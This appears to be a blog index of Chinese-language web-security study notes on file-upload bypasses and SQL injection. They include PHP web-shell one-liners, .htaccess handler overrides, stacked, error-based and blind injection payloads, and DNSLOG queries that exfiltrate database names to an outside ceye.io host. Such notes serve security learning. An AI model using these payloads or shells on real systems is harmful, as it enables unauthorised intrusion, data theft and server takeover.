文件上传漏洞

本地验证 JS禁用、Burp改包、本地提交 后缀黑名单验证 大小写、加空格、符号点(系统特性)、::$DATA(Windows平台) 过滤不迭代问题 例如,".php. .“方法:这针对的是在过滤中,代码中去掉末尾的点,再首位去空,再进行后缀过滤点情形。 后缀白名单验证 MIME(使用FILETYPE而不是后缀验证) 后缀白名单验证 MIME、%00、0x00截断 其中,MIME主要修改Content-Type项; %00和0x00主要影响某些版本的PHP(CVE-2015-2348,PHP 5.4.38~5.6.6)。在文件名中插入,比方说x.php%00.jpg,并且URL-Decode后(URL中不用转换),作为文件名,即可截断后缀。 ⚠️这里注意区分,GET请求对%00进行编码,POST不对%00编码。%00自动编码后将变成%25%30%30,而这不是我们需要的。 图片后门 单纯文件头验证不安全,需要配合后缀检测。 过滤<?怎么办? 使用多种php标记方法,如 <script language="php"> eval($_POST['xd']); </script> 二次渲染 上传的图片被修改后显示出来(尺寸或格式)。例如: copy shell.jpg/b + shell.php/a s.jpg 将图片与后门合并后上传,若存在二次渲染,则后门可能失效。此时,应该对比上传前后的文件,观察二次渲染后文件的哪个部分不变,再将后门写入那个部分。 常见问题 单次过滤 php函数replace过滤"php”,但把文件名改成".pphphp"就可以绕过 条件竞争 php函数move_uploaded_file,先移动后过滤unlink。可以在删除前访问。 具体来说,可以在不断上传的过程中不断访问之,这个文件进行一个写入操作。(借助burp) 解析安全 格式变异 过滤时只过滤了php后缀,没有过滤php3、php4、php5、phtml等php程序 中间件解析(apache) 上传一个.htaccess,它可以更改目录下特定后缀的解析规则 <FilesMatch "shell.jpg"> SetHandler application/x-httpd-php </FilesMatch> CVE-2013-4547 Nginx文件名逻辑漏洞 NGINX解析问题:后缀"1.jpg/.php" 针对性思路总结 CMS类 无资料时用常规测试思路,有资料参考资料即可。 编辑器 Ueditor 中间件 weblogic CVE-2018-2894 CTF类 ThinkPHP 文件路径(涉及代码审计)

October 8, 2021 · 1 min · alvazu

SQL注入基础入门——07、总结

漏洞利用 参数类型 - 符号闭合 数据库类型 - 选择不同的攻击语句和攻击思路 数据提交方式 - 数据注入的时候传输不一样,如POST、HOST等 数据SQL查询方式 - 1.无回显 2.测试点不同(增删改查等) 3.人工发现 数据加密编码方式 存在回显 - 盲注 高权限 - 换一种思路获得权限 漏洞危害 单个数据库泄漏 所有数据库泄漏 后台权限 web权限:文件操作、执行命令等 后续导致服务器权限丢失 漏洞特点 开发语言决定注入发生率 数据库类型决定注入利用过程 部分注入点的发现需要人工探针(增删改查等) 防护注入代码过滤、WAF等

October 7, 2021 · 1 min · alvazu

SQL注入基础入门——06、绕过注入过滤的几种方法(堆叠、二次、DNSLOG、高权限)

几种过滤 过滤关键词,如select、update、insert等 过滤空格 堆叠注入 数据库类型支持多条语句; ;show databases; ;show tables; ;show columns from ``; ## 由于select被过滤,因此可以将列名改为flag再输出 ## 或者,采用如下方法: ';SeT @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql; 二次注入 先写入后组合的注入(如:注册——登录——修改); 受到攻击的sql语句: update user set passwd='新密码' where username='用户名' and passwd='旧密码' 密码一般会被加密,不好入手,因此选择用户名攻击: ## 空格被过滤 x"^updatexml(1,concat(0x7e,(version())),0)# DNSLOG注入 解决不回显,相比盲注更快,但适用范围不广,因为要用到load_file()函数,需要root权限,并且secure_file_priv需要为空,且需要操作系统为Windows(\\为unc路径)。 ping test.dbuh8a.ceye.io ping %USERNAME%.dbuh8a.ceye.io select load_file('\\\\xxxx.dbuh8a.ceye.io\\aa')); select load_file(concat('\\\\',(select database()),'.dbuh8a.ceye.io\\aa')); 高权限注入 数据库用户分为系统用户和普通用户。前者可看所有数据库,可进行文件读写;后者不行。 ⚠️所以,某些注入点可以读写文件。 # 判断是否高权限 python sqlmap.py -u "http://XXX?id=1" --is-dba 写入一句话后门 <?php eval($_POST['x']); ?...

October 7, 2021 · 1 min · alvazu

SQL注入基础入门——05、盲注

order by select * from users order by $sth 盲注的三种类型 逻辑判断 regexp、like、ascii、left、ord、mid like 'ro%' regexp '^user[a-z]' #截取字符串 mid(str,start_loc,length) substr(str,start_loc,length) left(str,length) #从左侧截取 #字符串长度 length() 延时判断 if、sleep select * from users where id=1 and if(1>2,2,0); select * from users where id=1 and sleep(5); select * from users where id=1 and if(1>2,sleep(5),sleep(10)); 报错回显 floor、updatexml、extractvalue 逻辑判断 例如: ?id=1' and length(database())=8--+ ?id=1' and left(database(),1)>'a'--+ 延时判断 and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+ and if(ascii(substr((select table_name from information_schema....

October 6, 2021 · 1 min · alvazu

SQL注入基础入门——04、POST/XFF/HOST/COOKIE/其他功能

Sqlmap其他注入 在使用SQLMap进行POST注入时,可以使用post.txt注入,而不是使用--data参数,因为使用txt方式注入使用的是真实的数据包,而--data使用的是SQLMap自带的请求头; 在注入点处用星号标记,例如host: XXX*; 使用python sqlmap.py -r host.txt开始注入 万能密码原理(post注入) 例如对于下列sql语句: select * from admin where username='$user' and password='$pass' ; 使$user = “admin' or ‘1’=‘1”,得到 select * from admin where username='admin' or '1'='1' and password='$pass' ; host注入 在HTTP头中,把order by 4(payload)作为host项传递。 XFF注入 例如,某些网站会验证用户的IP地址来判断是否放行;在日志记录时会在数据库中记录HTTP头信息,因此可能存在注入点。如PHP正确获取客户端IP地址。 以下三个参数可能存在注入点: HTTP_CLIENT_IP:存在于http请求的header HTTP_X_FORWARDED_FOR:请求转发路径,客户端IP,代理1IP,代理2IP…… HTTP_X_REAL_IP:这个用得比较少,暂不讨论。 这三个值都是从HTTP请求头获取的,所以并不可靠! 根据功能区分注入类型 例如,搜索sql如下: select * from zzz_user where name like '%$name%' 字符串相关的sql判断语句会包含引号等等。 ⚠️注意数字、字母、JSON类型字符串。

October 6, 2021 · 1 min · alvazu